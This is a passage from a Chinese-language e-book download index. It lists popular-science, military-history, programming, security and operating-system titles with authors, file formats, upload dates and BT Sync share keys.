——A Very Short Introduction(美) 乔纳森·斯拉克 英文EPUB 2020-12-16 简介 自私的基因 The Selfish Gene (英) 理查德·道金斯 简体MOBI(40周年纪念版)
英文EPUB(30周年纪念版)2020-12-16
2021-03-24简介 盲眼钟表匠
——生命自然选择的秘密The Blind Watchmaker
——Why the Evidence of Evolution Reveals a Universe without Design(英) 理查德·道金斯 简体PDF(扫描版) 2021-04-27 简介 社会生物学
——新的综合Sociobiology
——The New Synthesis(美) 爱德华·威尔逊 简体HTML(节译本)
英文EPUB(25周年纪念版)2020-12-16
2021-01-20简介 第三种黑猩猩
——人类的身世与未来The Third Chimpanzee
——The Evolution and Future of the Human Animal(美) 贾雷德·戴蒙德 简体PDF(扫描版) 2020-12-16 简介 伊甸园的飞龙
——人类智力演化的推测The Dragons of Eden
——Speculations on the Evolution of Human Intelligence(美) 卡尔·萨根 简体HTML 2020-12-16 简介
◇科普 / 生命科学 / 分子生物学
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：分子生物学 Molecular Biology
——A Very Short Introduction(新西兰) 珍妮丝·罗伊兹
(英) 艾莎·迪万英文EPUB 2020-12-16 简介 生命是什么？
——生物细胞的物理学见解
其它中文名：
生命是什么？
——活细胞的物理学观What Is Life?
——The Physical Aspect of the Living Cell(奥) 埃尔温·薛定谔 简体PDF(扫描版)
英文EPUB2020-12-16
2021-03-24简介
◇科普 / 生命科学 / 神经生物学
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：认知神经科学 Cognitive Neuroscience
——A Very Short Introduction(英) 理查德·帕辛厄姆 英文EPUB 2020-12-17 简介 意识探秘
——意识的神经生物学研究The Quest for Consciousness
——A Neurobiological Approach(美) 克里斯托夫·科赫 简体PDF(扫描版)
英文EPUB2020-12-17
2021-02-11简介
◇科普 / 生命科学 / 古生物学
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：化石 Fossils
——A Very Short Introduction(英) 基思·汤姆森 英文EPUB 2020-12-17 简介 人类的起源 The Origin of Humankind (肯尼亚) 理查德·利基 简体PDF
英文EPUB2020-12-17
2021-02-11简介
◇科普 / 生命科学 / 医学
中文书名 英文书名 作者 文件类型 上传日期 备注 我们为什么生病
——达尔文医学的新科学Why We Get Sick
——The New Science of Darwinian Medicine(美) 伦道夫·尼斯
(美) 乔治·威廉斯简体PDF(扫描版)
英文PDF(扫描版)2020-12-17
2021-01-20简介
◇科普 / 系统科学
◇科普 / 系统科学 / 混沌理论
中文书名 英文书名 作者 文件类型 上传日期 备注 混沌
——开创新科学Chaos
——Making a New Science(美) 詹姆斯·格雷克 简体PDF(扫描版)
英文EPUB(修订版)2021-03-24
2020-12-18简介
◇科普 / 系统科学 / 复杂系统论
中文书名 英文书名 作者 文件类型 上传日期 备注 牛津通识读本：复杂 Complexity
——A Very Short Introduction(美) 约翰·霍兰德 英文EPUB 2020-12-18 简介 复杂
——诞生于秩序与混沌边缘的科学Complexity
——The Emerging Science at the Edge of Order and Chaos(美) 米歇尔·沃尔德罗普 简体PDF(扫描版)
英文EPUB2020-12-18
2021-03-24简介 夸克与美洲豹
——简单性和复杂性的奇遇The Quark and the Jaguar
——Adventures in the Simple and the Complex(美) 默里·盖尔曼 简体PDF 2020-12-18 简介 复杂性思维
——物质、精神和人类的计算动力学Thinking in Complexity
——The Computational Dynamics of Matter, Mind and Mankind
其它英文名：
Thinking in Complexity
——The Complex Dynamics of Matter, Mind and Mankind(德) 克劳斯·迈因策尔 简体CHM(第2版)
英文PDF(第5版)2020-12-18
2021-01-18简介 隐秩序
——适应性造就复杂性Hidden Order
——How Adaptation Builds Complexity(美) 约翰·霍兰德 简体PDF(扫描版)
英文PDF(扫描版)2020-12-18
2021-01-18简介
◇科普 / 地球科学
◇科普 / 地球科学 / 地理学
(无更新)
◇科普 / 地球科学 / 气候学
(无更新)
◇科普 / 地球科学 / 生态学
(无更新)
◇科普 / 地球科学 / 环境科学
中文书名 英文书名 作者 文件类型 上传日期 备注 寂静的春天 Silent Spring (美) 蕾切尔·卡森 简体PDF(扫描版)
英文PDF(40周年纪念版)2021-01-20
2020-12-19简介
◇科普 / 空间科学
◇科普 / 空间科学 / 天文学史
(无更新)
◇科普 / 空间科学 / 宇宙学
（由于现代宇宙学与理论物理的关系很密切，相关的书籍放在【科普类 / 物理学 / 天体物理学】分类目录下）
◇科普 / 空间科学 / 恒星天文学
(无更新)
◇科普 / 科学家
中文书名 英文书名 作者 文件类型 上传日期 备注 别闹了，费曼先生
——科学玩童的故事Surely You're Joking, Mr. Feynman! (美) 理查德·费曼 简体PDF(精校版)
英文EPUB2020-12-20
2021-03-23简介 我的世界线
——伽莫夫自传My World Line
——An Informal Autobiography(苏/美) 乔治·伽莫夫 简体PDF(精校版) 2020-12-20 简介
◇科普 / (其它)
中文书名 英文书名 作者 文件类型 上传日期 备注 从一到无穷大
——科学中的事实和臆测One Two Three... Infinity
——Facts and Speculations of Science(苏/美) 乔治·伽莫夫 简体PDF(精校版)
英文EPUB2020-12-22
2021-03-24简介
★军事
【网盘】
微软网盘
BT Sync 密钥：BMWWZALG4P56LREF47EE2WSWHZEM4E6BL （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇军事 / 军事理论
(无更新)
◇军事 / 现代军事史
◇军事 / 现代军事史 / 二战
◇军事 / 现代军事史 / 二战 / (综合)
(无更新)
◇军事 / 现代军事史 / 二战 / 东欧战场
(无更新)
◇军事 / 现代军事史 / 二战 / 西欧与北非战场
(无更新)
◇军事 / 现代军事史 / 二战 / 太平洋战场
(无更新)
◇军事 / 现代军事史 / 二战 / 中国战场
(无更新)
◇军事 / 现代军事史 / 韩战
(无更新)
◇军事 / 现代军事史 / 越战
(无更新)
◇军事 / 现代军事史 / 冷战
(无更新)
◇军事 / 现代军事史 / 一战
(无更新)
◇军事 / 近代军事史
◇军事 / 近代军事史 / 甲午战争
(无更新)
◇军事 / 近代军事史 / 鸦片战争
(无更新)
◇军事 / 近代军事史 / 南北战争
(无更新)
◇军事 / 古代军事史
◇军事 / 古代军事史 / 古希腊
中文书名 英文书名 作者 文件类型 上传日期 备注 伯罗奔尼撒战争史 History of the Peloponnesian War (古希腊) 修昔底德 简体PDF(2册本 扫描版)
简体EPUB
简体TXT
英文PDF(精装版)
英文PDF(共3卷 扫描版)2014-07-27
2015-02-13
2016-05-01
2018-08-08
2020-01-21简介 希波战争史
其它中文名：
历史The Histories (古希腊) 希罗多德 简体PDF(上下册)
简体PDF(扫描版)
英文EPUB2021-02-16
2017-08-11
2020-01-21简介 亚历山大远征记 Anabasis Alexandri (古罗马) 阿利安 简体PDF
简体PDF(扫描版)
英文EPUB2013-02-07
2015-07-18
2018-08-08简介 牛津通识读本：特洛伊战争 The Trojan War
——A Very Short Introduction(美) 埃里克·克莱因 英文EPUB 2020-03-24 简介
◇军事 / 古代军事史 / 古罗马
(无更新)
◇军事 / 其它军事史
(无更新)
◇军事 / 武器
(无更新)
◇军事 / 美国
中文书名 英文书名 作者 文件类型 上传日期 备注 美军生存手册 U.S. Army Survival Manual (美) 美国国防部 简体PDF(扫描版)
英文EPUB2017-02-19
2021-03-12简介
★IT
（IT领域的发展太快，导致书籍的生命周期变短。所以俺尽量挑选那些生命周期比较长的电子书。）
【网盘】
微软网盘
BT Sync 密钥：BUPSDXFA3TP7KCMLHALRHLIX2FEJEUJFE （此密钥的使用方法，参见页面开头的“网盘下载须知”）
◇IT / 软件开发
◇IT / 软件开发 / 软件工程
中文书名 英文书名 作者 文件类型 上传日期 备注 人月神话 The Mythical Man-Month
——Essays on Software Engineering(美) Frederick Brooks 简体PDF(20周年纪念版)
简体EPUB(20周年纪念版)
简体TXT(20周年纪念版)
英文PDF(20周年纪念版)
英文CHM(20周年纪念版)2018-11-09
2013-10-20
2016-05-01
2016-12-22
2013-10-20简介 人件 Peopleware
——Productive Projects and Teams(美) Tom Demarco
(美) Timothy Lister简体PDF(第3版 扫描版)
简体PDF(第2版)
简体PDF(第2版 扫描版)
英文PDF(第2版)2020-11-20
2015-11-07
2013-10-20
2013-10-20简介 软件工程
——实践者的研究方法Software Engineering
——A Practitioner's Approach(美) Roger Pressman 英文PDF(第8版)
简体PDF(第7版 扫描版)2018-07-29
2021-02-06简介 代码大全
其它中文名：
軟體建構之道Code Complete
——A Practical Handbook of Software Construction(美) Steve McConnell 简体PDF(第2版 扫描版)
英文CHM(第2版)
简体PDF(第1版)2017-08-08
2013-10-20
2013-10-20简介 重构
——改善既有代码的设计Refactoring
——Improving the Design of Existing Code(英) Martin Fowler
(美) Kent Beck
John Brant
(美) William Opdyke
Don Roberts英文PDF(第2版)
简体PDF(第1版)
简体PDF(第1版 扫描版)
英文PDF(第1版)
英文CHM(第1版)2020-11-20
2020-11-20
2016-12-22
2017-08-09
2013-10-20简介 敏捷软件开发
——原则、模式与实践Agile Software Development
——Principles, Patterns and Practices(美) Robert Martin 简体PDF(扫描版)
英文PDF2015-11-08
2020-04-06简介 代码整洁之道
——程序员的职业素养Clean Code
——A Handbook of Agile Software Craftsmanship(美) Robert Martin 简体PDF(扫描版)
英文PDF2020-11-20
2020-04-08简介 最后期限
其它中文名：
最後期限
——專案管理101個成功法則The Deadline
——A Novel about Project Management(美) Tom Demarco 简体PDF
英文PDF2013-10-20
2020-04-03简介
◇IT / 软件开发 / 编程语言
（本类别放置“具体编程语言相关”的编程类电子书）
◇IT / 软件开发 / 编程语言 / C
(无更新)
◇IT / 软件开发 / 编程语言 / C++
中文书名 英文书名 作者 文件类型 上传日期 备注 C++ 程序设计语言 The C++ Programming Language (丹麦) Bjarne Stroustrup 英文PDF(第4版)
英文PDF(特别版)
简体PDF(特别版 扫描版)2020-04-08
2013-10-21
2013-10-29简介 Accelerated C++ Accelerated C++
——Practical Programming by Example(美) Andrew Koenig
(美) Barbara Moo简体PDF(扫描版) 2020-07-09 简介 Effective C++
——改善程序与设计的55个具体做法Effective C++
——55 Specific Ways to Improve Your Programs and Designs(美) Scott Meyers 英文PDF(第3版)
英文CHM(第3版)2018-08-04
2013-10-21简介 More Effective C++
——35个改善编程与设计的有效方法More Effective C++
——35 New Ways to Improve Your Programs and Designs(美) Scott Meyers 英文PDF
简体PDF2013-10-21
2015-05-12简介 Effective Modern C++
——改善 C++11 和 C++14 的42个具体做法Effective Modern C++
——42 Specific Ways to Improve Your Use of C++11 and C++14(美) Scott Meyers 英文PDF 2018-08-04 简介 C++ 编程规范
——101 条规则、准则与最佳实践C++ Coding Standards
——101 Rules, Guidelines, and Best Practices(美) Herb Sutter
(美) Andrei Alexandrescu英文CHM 2013-10-20 简介 C++ 必知必会 C++ Gotchas
——Avoiding Common Problems in Coding and Design(美) Stephen Dewhurst 英文CHM 2015-11-05 简介 C++ Primer Plus C++ Primer Plus (美) Stephen Prata 英文PDF(第5版) 2018-09-11 简介 C++ Primer C++ Primer (美) Stanley Lippman
等英文CHM(第4版)
简体PDF(第3版)2013-10-20
2013-10-24简介 C++ 标准库
——自修教程与参考手册The C++ Standard Library
——A Tutorial and Reference(德) Nicolai Josuttis 英文CHM
简体PDF(扫描版)2013-10-20
2015-05-12简介 超越 C++ 标准库
——Boost 库导论Beyond the C++ Standard Library
——An Introduction to BoostBjörn Karlsson 英文CHM 2018-08-04 简介 C++ 编程思想 Thinking in C++ (美) Bruce Eckel 简体PDF(第2版 2卷本)
英文PDF(第2版 共2卷)
简体PDF(第1版)2021-02-06
2019-03-29
2018-07-20简介 深度探索 C++ 对象模型 Inside the C++ Object Model (美) Stanley Lippman 英文CHM
简体PDF(扫描版)2013-10-20
2018-08-04简介 C++ 设计新思维
——泛型编程与设计模式之应用Modern C++ Design
——Generic Programming and Design Patterns Applied(美) Andrei Alexandrescu 简体PDF(扫描版)
英文PDF
英文CHM
英文MOBI2015-11-08
2018-08-04
2016-12-21
2018-08-04简介 C++ Templates 全览 C++ Templates
——The Complete Guide(比利时) David Vandevoorde
(德) Nicolai Josuttis英文EPUB(第2版)
简体PDF(第1版 扫描版)
英文EPUB(第1版)
英文CHM(第1版)2018-11-11
2020-07-09
2018-08-04
2015-05-12简介 C++ 模板元编程 C++ Template Metaprogramming
——Concepts, Tools and Techniques from Boost and Beyond(美) David Abrahams
(美) Aleksey Gurtovoy简体PDF(扫描版)
英文CHM2020-07-09
2021-03-12简介 C++ 语言的设计和演化 The Design and Evolution of C++ (丹麦) Bjarne Stroustrup 简体PDF(扫描版)
英文PDF2013-10-25
2018-08-04简介 STL 源码剖析 The Annotated STL Sources 侯捷 (原名：侯俊杰) 简体PDF(扫描版) 2015-11-05 简介 大规模 C++ 程序设计 Large-Scale C++ Software Design (美) John Lakos 简体PDF(扫描版)
英文DJVU(扫描版)2013-10-30
2020-04-04简介
◇IT / 软件开发 / 编程语言 / Python
(无更新)
◇IT / 软件开发 / 编程语言 / Java
(无更新)
◇IT / 软件开发 / 编程语言 / JavaScript
(无更新)
◇IT / 软件开发 / 编程语言 / Lisp
中文书名 英文书名 作者 文件类型 上传日期 备注 计算机程序的构造和解释 Structure and Interpretation of Computer Programs (美) Harold Abelson
(美) Gerald Jay Sussman
(美) Julie Sussman简体PDF(第2版 扫描版)
英文PDF(第2版)
英文WEB2015-07-20
2016-12-21
N/A简介 程序设计方法 How to Design Programs
——An Introduction to Computing and Programming(美) Matthias Felleisen
(美) Robby Findler
(美) Matthew Flatt
(美) Shriram Krishnamurthi英文PDF(第1版)
英文WEB(第2版)
英文WEB(第1版)2019-07-30
N/A
N/A简介 ANSI Common Lisp ANSI Common Lisp (美) Paul Graham 简体PDF
英文PDF
简体WEB
繁體WEB2018-06-28
2015-01-11
N/A
N/A简介 实用 Common Lisp 编程 Practical Common Lisp (美) Peter Seibel 简体PDF(扫描版)
英文CHM
英文WEB2018-06-28
2021-04-02
N/A简介 Common Lisp
——The LanguageCommon Lisp
——The Language(美) Guy Steele 英文PDF(第2版)
英文PS(第2版)
英文WEB2017-05-09
2016-12-21
N/A简介 On Lisp
——Advanced Techniques for Common LispOn Lisp
——Advanced Techniques for Common Lisp(美) Paul Graham 简体PDF
英文PDF2017-08-09
2015-01-11简介 Lisp 之根源 The Roots of Lisp (美) Paul Graham 简体PS
英文PDF
简体WEB2018-07-20
2016-12-12
N/A简介 Lisp 的演化 The Evolution of Lisp (美) Guy Steele
(美) Richard Gabriel英文PDF 2018-10-29 简介 GNU Emacs Lisp 编程入门 An introduction to Programming in Emacs Lisp (美) Robert J. Chassell 简体PDF(扫描版)
英文PDF(版本3.10)
英文PDF(版本2.05)2018-06-28
2015-11-17
2015-11-03简介 Basic Lisp Techniques Basic Lisp Techniques David Cooper 英文PDF 2015-01-11 简介
◇IT / 软件开发 / 编程语言 / Go
(无更新)
◇IT / 软件开发 / 编程语言 / Ruby
(无更新)
◇IT / 软件开发 / 编程语言 / Rust
中文书名 英文书名 作者 文件类型 上传日期 备注 Rust 程序设计语言 The Rust Programming Language Rust 开发团队 英文PDF(第2版)
英文EPUB(第2版)
英文PDF(第1版)
英文EPUB(第1版)
英文WEB(第2版)
简体WEB(第2版)2018-07-20
2018-11-09
2018-07-20
2018-11-09
N/A
N/A简介 Rust 程序设计 Programming Rust
——Fast, Safe Systems Development(美) Jim Blandy
(美) Jason Orendorff英文PDF(第1版 大字版)
英文EPUB(第1版)2020-04-06
2021-03-12简介
◇IT / 软件开发 / 编程语言 / Prolog
中文书名 英文书名 作者 文件类型 上传日期 备注 Programming in Prolog
——Using the ISO StandardProgramming in Prolog
——Using the ISO Standard(英) William Clocksin
(英) Christopher Mellish英文PDF(第5版 扫描版) 2018-07-18 简介 Logic Programming with Prolog Logic Programming with Prolog (英) Max Bramer 英文PDF(第2版)
英文PDF(第1版)2021-04-02
2018-07-18简介 An Introduction to Logic Programming through Prolog An Introduction to Logic Programming through Prolog (英) Michael Spivey 英文PDF 2018-07-18 简介
◇IT / 软件开发 / 编程语言 / (其它)
(无更新)
◇IT / 软件开发 / 编程范式
(无更新)
◇IT / 软件开发 / 算法与数据结构
中文书名 英文书名 作者 文件类型 上传日期 备注 计算机程序设计艺术 The Art of Computer Programming (美) Donald Knuth (中文名：高德纳) 简体PDF(共3卷 2002套装 扫描版)
英文DJVU(共3卷 1998套装 扫描版)2021-01-21
2020-04-11简介 算法导论 Introduction to Algorithms (美) Thomas Cormen
(美) Charles Leiserson
(美) Ronald Rivest
(美) Clifford Stein简体PDF(第3版 扫描版)
英文PDF(第3版)
英文CHM(第2版)2015-10-25
2013-10-21
2013-10-30简介 算法概论 Algorithms (美) Sanjoy Dasgupta
(希腊) Christos Papadimitriou
(印度) Umesh Vazirani简体PDF(扫描版)
英文PDF2020-04-11
2018-07-29简介 算法设计手册
其它中文名：
算法设计指南The Algorithm Design Manual (美) Steven Skiena 英文PDF(第2版) 2018-07-29 简介 编程珠玑 Programming Pearls (美) Jon Bentley 简体PDF(第2版 扫描版)
英文PDF(第2版)2013-10-21
2013-10-21简介 算法心得
——高效算法的奥秘Hacker's Delight (美) Henry Warren Jr. 简体PDF(第2版 扫描版)
英文PDF(第1版 大字版)2020-11-20
2020-07-09简介 数学之美 Beauty of Mathematics 吴军 简体PDF(第1版)
简体TXT(第1版)2018-10-29
2016-05-15简介
◇IT / 软件开发 / 调试与测试
中文书名 英文书名 作者 文件类型 上传日期 备注 软件调试修炼之道 Debug It
——Find, Repair and Prevent Bugs in Your Code(美) Paul Butcher 英文PDF 2020-04-06 简介 软件调试的艺术 The Art of Debugging with GDB, DDD and Eclipse (美) Norman Matloff
(美) Peter Salzman简体PDF(扫描版)
英文PDF2020-04-10
2021-03-12简介
◇IT / 软件开发 / 操作系统相关
（本类别放置“具体操作系统相关”的编程类电子书）
◇IT / 软件开发 / 操作系统相关 / UNIX 与 Linux
中文书名 英文书名 作者 文件类型 上传日期 备注 UNIX 编程艺术 The Art of UNIX Programming (美) Eric Raymond 简体PDF(扫描版)
英文PDF
英文EPUB
英文MOBI
英文CHM2017-05-06
2019-08-17
2018-08-04
2018-08-04
2013-10-20简介 Linux／UNIX 设计思想 Linux and the UNIX Philosophy
其它英文名：
The UNIX Philosophy(美) Mike Gancarz 简体PDF(第2版 扫描版)
英文CHM(第2版)2021-04-04
2020-04-10简介 UNIX 环境高级编程 Advanced Programming in the UNIX Environment (美) Richard Stevens
(美) Stephen Rago简体PDF(第3版 扫描版)
英文PDF(第3版)
简体PDF(第2版 扫描版)
英文CHM(第2版)2017-08-09
2013-11-14
2014-05-13
2013-10-21简介 Linux／UNIX 系统编程手册 The Linux Programming Interface
——A Linux and UNIX System Programming Handbook(新西兰) Michael Kerrisk 英文PDF 2021-02-06 简介 UNIX 系统编程
——通信、并发与线程UNIX Systems Programming
——Communication, Cocurrency and Threads
其它英文名：
Practical UNIX Programming
——A Guide to Concurrency, Communication and Multithreading(美) Kay Robbins
(美) Steven Robbins英文CHM(第2版) 2013-10-21 简介 如何编写动态库 How to Write Shared Libraries (美) Ulrich Drepper 英文PDF 2019-03-17 简介 精通 Linux 设备驱动程序开发 Essential Linux Device Drivers (印度) Sreekrishnan Venkateswaran 简体PDF(扫描版)
英文PDF2015-11-06
2021-04-04简介
◇IT / 软件开发 / 操作系统相关 / Windows
中文书名 英文书名 作者 文件类型 上传日期 备注 Windows 核心编程 Windows via C & C++
其它英文名：
Programming Applications for Windows(美) Jeffrey Richter 英文CHM(第5版)
简体PDF(第4版)
英文CHM(第4版)2020-04-10
2014-05-13
2013-10-21简介 Windows 程序设计 Programming Windows
——The Definitive Guide to the Win32 API
其它英文名：
Programming Windows
——Writing Windows 8 Apps with C＃ and XAML(美) Charles Petzold 英文PDF(第6版)
英文CHM(第5版)2021-04-03
2021-04-03简介
◇IT / 软件开发 / 网络相关
（本类别放置“网络相关”的编程类电子书）
◇IT / 软件开发 / 网络相关 / C & C++
(无更新)
◇IT / 软件开发 / 网络相关 / Python
中文书名 英文书名 作者 文件类型 上传日期 备注 Twisted 网络编程精髓 Twisted Network Programming Essentials
——Event-driven Network Programming with Python
其它英文名：
Twisted Network Programming Essentials
——Developing with Python's Event-driven Framework(美) Abe Fettig
(美) Jessica McKellar英文EPUB(第2版)
英文CHM(第1版)2021-04-01
2016-12-22简介
◇IT / 软件开发 / 网络相关 / Java
中文书名 英文书名 作者 文件类型 上传日期 备注 Java 网络编程 Java Network Programming (美) Elliotte Harold 英文EPUB(第4版)
英文EPUB(第3版)2021-04-01
2021-04-01简介
◇IT / 软件开发 / 网络相关 / (跨语言)
(无更新)
◇IT / 软件开发 / Web 相关
◇IT / 软件开发 / Web 相关 / 架构设计
(无更新)
◇IT / 软件开发 / Web 相关 / 服务端框架
(无更新)
◇IT / 软件开发 / 硬件相关
(无更新)
◇IT / 软件开发 / (其它)
中文书名 英文书名 作者 文件类型 上传日期 备注 程序员修炼之道
——从小工到专家Pragmatic Programmers
——From Journeyman to Master(美) Andrew Hunt
(美) David Thomas简体PDF(扫描版)
简体PDF(扫描版)
简体TXT
英文PDF2017-08-09
2013-10-21
2016-05-01
2013-10-19简介 约耳趣谈软体 Joel on Software (美) Joel Spolsky 英文EPUB
英文CHM2015-01-11
2016-12-22简介 软件随想录 More Joel on Software (美) Joel Spolsky 简体PDF(扫描版)
英文PDF2015-02-17
2015-01-11简介 程序员应该知道的97件事 97 Things Every Programmer Should Know
——Collective Wisdom from the Experts(英) Kevlin Henney (主编) 英文PDF
英文EPUB2018-07-02
2020-04-08简介 编程人生
——15位软件先驱访谈录Coders at Work
——Reflections on the Craft of Programming(美) Peter Seibel 简体PDF(扫描版)
英文PDF2021-01-21
2015-11-08简介 代码阅读方法与实践 Code Reading
——The Open Source Perspective(希腊) Diomidis Spinellis 简体PDF(扫描版)
英文CHM2015-11-03
2020-04-04简介
◇IT / 黑客文化与开源文化
（考虑到“黑客”一词已经被严重误解，俺单独放一个目录介绍黑客文化。希望大伙儿搞清楚：“黑客/Hacker”与“骇客/Cracker”是有天壤之别的）
中文书名 英文书名 作者 文件类型 上传日期 备注 自由软件，自由社会
——理查德·斯托曼选集Free Software, Free Society
——Selected Essays of Richard M. Stallman(美) Richard Stallman 简体PDF(第3版)
简体EPUB(第3版)
英文PDF(第3版)
简体WEB(第3版)2019-03-14
2019-03-14
2019-03-14
N/A简介 大教堂与集市
其它中文名：
大教堂和市集
黑客五部曲
包括如下：
黑客文化简史
大教堂和集市
如何成为一名黑客
开拓智域
魔法大锅炉The Cathedral and the Bazaar (美) Eric Raymond 简体PDF
简体EPUB
简体MOBI
英文PDF2013-10-20
2015-12-25
2015-12-25
2020-04-09简介 黑客与画家 Hackers and Painters
——Big Ideas from the Computer Age(美) Paul Graham 简体PDF(扫描版)
简体EPUB
简体MOBI
简体TXT
英文PDF
英文EPUB2013-04-06
2013-10-20
2014-02-23
2016-04-29
2017-08-08
2020-04-04简介 黑客
——计算机革命的英雄Hackers
——Heroes of the Computer Revolution(美) Steven Levy 简体PDF(25周年纪念版 扫描版)
简体MOBI(25周年纪念版)
简体EPUB
英文PDF2014-01-28
2015-07-20
2015-07-20
2015-05-12简介 若为自由故
——自由软件之父理查德·斯托曼传Free as in Freedom
——Richard Stallman's Crusade for Free Software(美) Sam Williams 简体TXT(第2版)
简体PDF(第1版 扫描版)
英文PDF(第2版)
英文PDF(第1版)
英文WEB(第1版)2019-03-09
2021-01-21
2016-12-21
2019-08-01
N/A简介 乐者为王
——自由软件 Linux 之父李纳斯·托沃兹自述
其它中文名：
只是为了好玩
——Linux 之父林纳斯自传Just for Fun
——The Story of an Accidental Revolutionary(芬兰/美) Linus Torvalds 简体EPUB
简体PDF(扫描版)
英文EPUB2015-11-15
2016-12-12
2019-08-01简介 线上幽灵
——世界头号黑客米特尼克自传Ghost in the Wires
——My Adventures as the World's Most Wanted Hacker(美) Kevin Mitnick 简体PDF(扫描版)
英文PDF2020-04-09
2019-08-03简介 自由文化 Free Culture
——How Big Media Uses Technology and the Law to Lock Down Culture and Control Creativity(美) Lawrence Lessig 英文PDF 2015-12-09 简介 制造开源软件
——如何成功运营自由软件项目Producing Open Source Software
——How to Run a Successful Free Software ProjectKarl Fogel 简体EPUB
英文EPUB
英文PDF
简体WEB
英文WEB2016-12-21
2016-12-21
2017-05-06
N/A
N/A简介
◇IT / 信息安全
（俺在博客上写了不少信息安全的扫盲教程，如果不分享几本相关的书，实在说不过去啊）
◇IT / 信息安全 / 社会工程学
(无更新)
◇IT / 信息安全 / 密码学
中文书名 英文书名 作者 文件类型 上传日期 备注 密码编码学与网络安全
——原理与实践Cryptography and Network Security
——Principles and Practice(美) William Stallings 英文PDF(第7版)
英文PDF(第6版)
英文PDF(第5版)
英文PDF(第4版)
简体PDF(第3版 扫描版)2021-03-31
2021-03-31
2013-11-18
2019-03-25
2013-11-18简介 密码学原理与实践 Cryptography
——Theory and Practice(加) Douglas Stinson 简体PDF(第2版 扫描版)
英文CHM(第1版)2013-10-21
2013-10-30简介 应用密码学
——协议、算法与 C 源程序Applied Cryptography
——Protocols, Algorithms, and Source Code in C(美) Bruce Schneier 简体PDF(第2版 扫描版)
英文EPUB(第2版)
英文PDF(第2版)2013-11-26
2015-07-21
2013-10-21简介
◇IT / 信息安全 / 安全加固
(无更新)
◇IT / 信息安全 / 入侵与渗透测试
中文书名 英文书名 作者 文件类型 上传日期 备注 入侵的艺术 The Art of Intrusion
——The Real Stories Behind the Exploits of Hackers, Intruders and Deceivers(美) Kevin Mitnick 简体PDF(扫描版)
简体EPUB
英文PDF2014-02-04
2015-07-17
2014-01-09简介 黑客之道
——漏洞发掘的艺术Hacking
——The Art of Exploitation(美) Jon Erickson 简体PDF(第2版 扫描版)
英文PDF(第2版)
英文CHM(第1版)2021-02-11
2018-07-29
2019-08-02简介 灰帽攻击安全手册
——渗透测试与漏洞分析技术Gray Hat Hacking
——The Ethical Hacker's HandbookAllen Harper
等英文PDF(第3版)
英文PDF(第2版)
简体PDF(第1版)2018-07-25
2019-03-24
2018-11-09简介 黑客攻防技术宝典
——Web 实战篇The Web Application Hacker's Handbook
——Finding and Exploiting Security Flaws(英) Dafydd Stuttard (网名：PortSwigger)
(英) Marcus Pinto简体EPUB(第2版)
英文PDF(第2版)2021-02-11
2019-03-24简介 Shellcoder 编程揭秘 Shellcoder's Programming Uncovered (俄) Kris Kaspersky 简体PDF(扫描版) 2018-07-25 简介 Shellcoder 手册
——发现和利用安全漏洞The Shellcoder's Handbook
——Discovering and Exploiting Security Holes(多人) 英文PDF(第2版)
英文CHM(第1版)2019-03-18
2019-03-18简介 内核漏洞的利用与防范 A Guide to Kernel Exploitation
——Attacking the Core(美) Enrico Perla
(美) Massimiliano Oldani英文PDF(第1版) 2018-07-29 简介 Metasploit 渗透测试指南 Metasploit
——The Penetration Tester's GuideDavid Kennedy
Jim O'Gorman
Devon Kearns
Mati Aharoni简体PDF(扫描版) 2021-02-11 简介
◇IT / 信息安全 / 破解与逆向工程
中文书名 英文书名 作者 文件类型 上传日期 备注 逆向工程权威指南
其它中文名：
逆向工程入门指南Reverse Engineering for Beginners
——Understanding Assembly Language(乌克兰) Dennis Yurichev 简体EPUB
英文PDF2019-03-28
2018-08-04简介 IDA Pro 权威指南 IDA Pro Book
——The Unofficial Guide to the World's Most Popular Disassembler(美) Chris Eagle 英文PDF(第2版)
英文CHM(第1版)2021-04-27
2021-04-27简介
◇IT / 信息安全 / 恶意软件
(无更新)
◇IT / 信息安全 / 编程语言相关
（本目录下放的是“信息安全”相关的编程书籍，按【语言】归类）
◇IT / 信息安全 / 编程语言相关 / C & C++
(无更新)
◇IT / 信息安全 / 编程语言相关 / Python
(无更新)
◇IT / 操作系统
◇IT / 操作系统 / 使用教程
(无更新)
◇IT / 操作系统 / 操作系统原理
◇IT / 操作系统 / 操作系统原理 / (综述)
(无更新)
◇IT / 操作系统 / 操作系统原理 / UNIX
中文书名 英文书名 作者 文件类型 上传日期 备注 FreeBSD 操作系统设计与实现 The Design and Implementation of the FreeBSD Operating System (美) Marshall McKusick
(美) George Neville-Neil
(美) Robert Watson英文EPUB(第2版)
英文CHM(第1版)2021-04-04
2021-04-04简介 UNIX 操作系统设计 The Design of the UNIX Operating System (德) Maurice Bach 简体PDF(扫描版)
英文PDF(扫描版)2013-10-21
2015-05-12简介 莱昂氏 UNIX 源代码分析 A Commentary on the Sixth Edition UNIX Operating System (澳大利亚) John Lions 英文PDF 2018-08-03 简介
◇IT / 操作系统 / 操作系统原理 / Linux
中文书名 英文书名 作者 文件类型 上传日期 备注 Linux 内核设计与实现
其它中文名：
精通 Linux 核心開發
——設計與實作 Linux 核心的權威指南Linux Kernel Development
——A Thorough Guide to the Design and Implementation of the Linux Kernel(美) Robert Love 简体PDF(第3版 扫描版)
英文PDF(第3版)2021-02-06
2020-04-10简介 深入理解 Linux 内核 Understanding the Linux Kernel (意) Daniel Bovet
(意) Marco Cesati英文PDF(第3版)
英文CHM(第3版)
简体PDF(第1版 扫描版)2013-12-06
2013-10-21
2021-04-04简介
◇IT / 操作系统 / 操作系统原理 / Windows
中文书名 英文书名 作者 文件类型 上传日期 备注 深入解析 Windows 操作系统
其它中文名：
Windows 内部揭密Windows Internals
其它英文名：
Inside Microsoft Windows 2000
Inside Microsoft Windows NT(西班牙/美) Mark Russinovich
(美) David Solomon
(罗马尼亚/加) Alex Ionescu
(以色列) Pavel Yosifovich英文PDF(第6版 上下册)
英文EPUB(第6版 上下册)
英文PDF(第5版)
英文PDF(第4版)
简体PDF(第4版 扫描版)2019-04-13
2021-04-03
2018-08-03
2018-08-03
2018-11-09简介
◇IT / 网络
◇IT / 网络 / (综述)
中文书名 英文书名 作者 文件类型 上传日期 备注 计算机网络 Computer Networks (美) Andrew Tanenbaum
(美) David Wetherall简体PDF(第5版 扫描版)
英文PDF(第5版)
英文CHM(第4版)2018-08-04
2015-01-11
2020-04-02简介 计算机网络
